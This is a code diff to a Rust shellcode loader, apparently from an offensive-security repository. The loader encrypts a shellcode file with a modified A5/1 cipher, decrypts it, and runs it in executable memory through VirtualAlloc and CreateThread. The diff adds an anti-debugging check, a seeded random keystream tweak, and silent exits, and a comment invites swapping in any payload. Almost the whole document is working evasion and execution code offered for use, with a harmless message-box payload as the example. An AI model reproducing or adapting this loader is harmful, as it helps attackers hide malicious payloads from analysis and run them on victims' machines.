Changes at Encrypting A5/1 cipher

This program encrypts shellcode using a modified A5/1 cipher with seeded randomness, writes it to a file, decrypts it back, and executes the shellcode in memory.

Author: Whitecat18

Encryption Methods/gsm_a5_1.rs

@@ -1,24 +1,50 @@
 /*
-    Encrypt and Execute Shellcode using GSM A5/1 algorithm.
+    Encrypt shellcode using a modified A5/1 cipher with seeded randomness.
     Author: 5mukx
 */
 
+/*
+[dependencies]
+rand = "0.8.5"
+rand_chacha = "0.3.1"
+winapi = { version = "0.3.9", features = ["memoryapi","processthreadsapi","synchapi","winnt"]}
+*/
+
 use std::{fs::{self, File}, io::Write, ptr::null_mut};
 
+use rand::{Rng, SeedableRng};
 use winapi::um::{
     memoryapi::{VirtualAlloc, VirtualFree}, 
-    processthreadsapi::CreateThread, 
+    processthreadsapi::{CreateThread, GetCurrentProcessId, OpenProcess}, 
     synchapi::WaitForSingleObject, 
     winnt::{MEM_COMMIT, MEM_RELEASE, PAGE_EXECUTE_READWRITE}
 };
 
+
 const A51_KEY_SIZE: usize = 8;
 
 fn a5_step(x: u32, y: u32, z: u32) -> u32 {
     (x & y) ^ (x & z) ^ (y & z)
 }
 
-fn a5_1_encrypt(key: &[u8], msg: &[u8]) -> Vec<u8> {
+
+fn check_for_debugger() -> bool{
+    unsafe{
+        let pid = GetCurrentProcessId();
+        let handle = OpenProcess(
+            0x000F0000 | 0x00100000 | 0xFFFF, 
+            0,
+            pid
+        );
+
+        handle.is_null()
+    }
+}
+
+fn a5_1_encrypt(key: &[u8], msg: &[u8], seed:u64) -> Vec<u8> {
+
+    let mut rng = rand_chacha::ChaCha8Rng::seed_from_u64(seed);
+
     let mut r1 = 0u32;
     let mut r2 = 0u32;
     let mut r3 = 0u32;
@@ -28,7 +54,8 @@ fn a5_1_encrypt(key: &[u8], msg: &[u8]) -> Vec<u8> {
         let feedback = ((key[i % key.len()] >> (i / 8)) & 1) as u32
             ^ (r1 >> 18 & 1)
             ^ (r2 >> 21 & 1)
-            ^ (r3 >> 22 & 1);
+            ^ (r3 >> 22 & 1)
+            ^ (rng.gen::<u32>() & 1);
         r1 = (r1 << 1) | feedback;
         r2 = (r2 << 1) | ((r1 >> 8) & 1);
         r3 = (r3 << 1) | ((r2 >> 10) & 1);
@@ -52,8 +79,8 @@ fn a5_1_encrypt(key: &[u8], msg: &[u8]) -> Vec<u8> {
         .collect()
 }
 
-fn a5_1_decrypt(key: &[u8], cipher: &[u8]) -> Vec<u8> {
-    a5_1_encrypt(key, cipher) // decryption func is the same as encryption for A5/1
+fn a5_1_decrypt(key: &[u8], cipher: &[u8], seed:u64) -> Vec<u8> {
+    a5_1_encrypt(key, cipher, seed) // decryption func is the same as encryption for A5/1 -> Just pause the keys with enc data !
 }
 
 fn read_file(path: &str) -> Vec<u8> {
@@ -66,6 +93,11 @@ fn write_file(path: &str, data: &[u8]) {
 }
 
 fn execute_shellcode(shellcode: &[u8]) {
+    if check_for_debugger() {
+        println!("[-] Debugger detected, exiting...");
+        std::process::exit(0x100);
+    }
+
     unsafe {
         let mem = VirtualAlloc(
             null_mut(),
@@ -75,7 +107,8 @@ fn execute_shellcode(shellcode: &[u8]) {
         );
 
         if mem.is_null() {
-            panic!("Failed to allocate memory for shellcode");
+            println!("[-] Failed to allocate memory for shellcode");
+            std::process::exit(0x100);
         }
 
         std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());
@@ -91,28 +124,34 @@ fn execute_shellcode(shellcode: &[u8]) {
 
         if thread.is_null() {
             VirtualFree(mem, 0, MEM_RELEASE);
-            panic!("Failed to create thread for shellcode");
+            println!("[-] Failed to create thread for shellcode");
+            std::process::exit(0x100);
         }
 
-        WaitForSingleObject(thread, u32::MAX);
+        WaitForSingleObject(thread, 0xFFFFFFFF);
         VirtualFree(mem, 0, MEM_RELEASE);
     }
 }
 
 fn main(){
     let key: [u8; A51_KEY_SIZE] = [0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88];
+    
+    // replace your bin file
     let input_file = "msgbox_shellcode.bin";
     let encrypted_file = "encrypt_msg.bin";
     let decrypt_file = "decrypt_msg.bin";
 
+    // using seed rng to generate the same sequence of random numbers.
+    let seed = 1024;
+
     // encrypt_function exec
     let shellcode = read_file(&input_file);
-    let encrypt_shellcode = a5_1_encrypt(&key, &shellcode);
+    let encrypt_shellcode = a5_1_encrypt(&key, &shellcode, seed);
     write_file(&encrypted_file, &encrypt_shellcode);
 
     // decrypt_function exec
     let encrypt_data = read_file(&encrypted_file);
-    let decrypt_shellcode = a5_1_decrypt(&key,&encrypt_data);
+    let decrypt_shellcode = a5_1_decrypt(&key,&encrypt_data, seed);
     write_file(&decrypt_file, &decrypt_shellcode);
 
     // sample func to test and execute shellcode.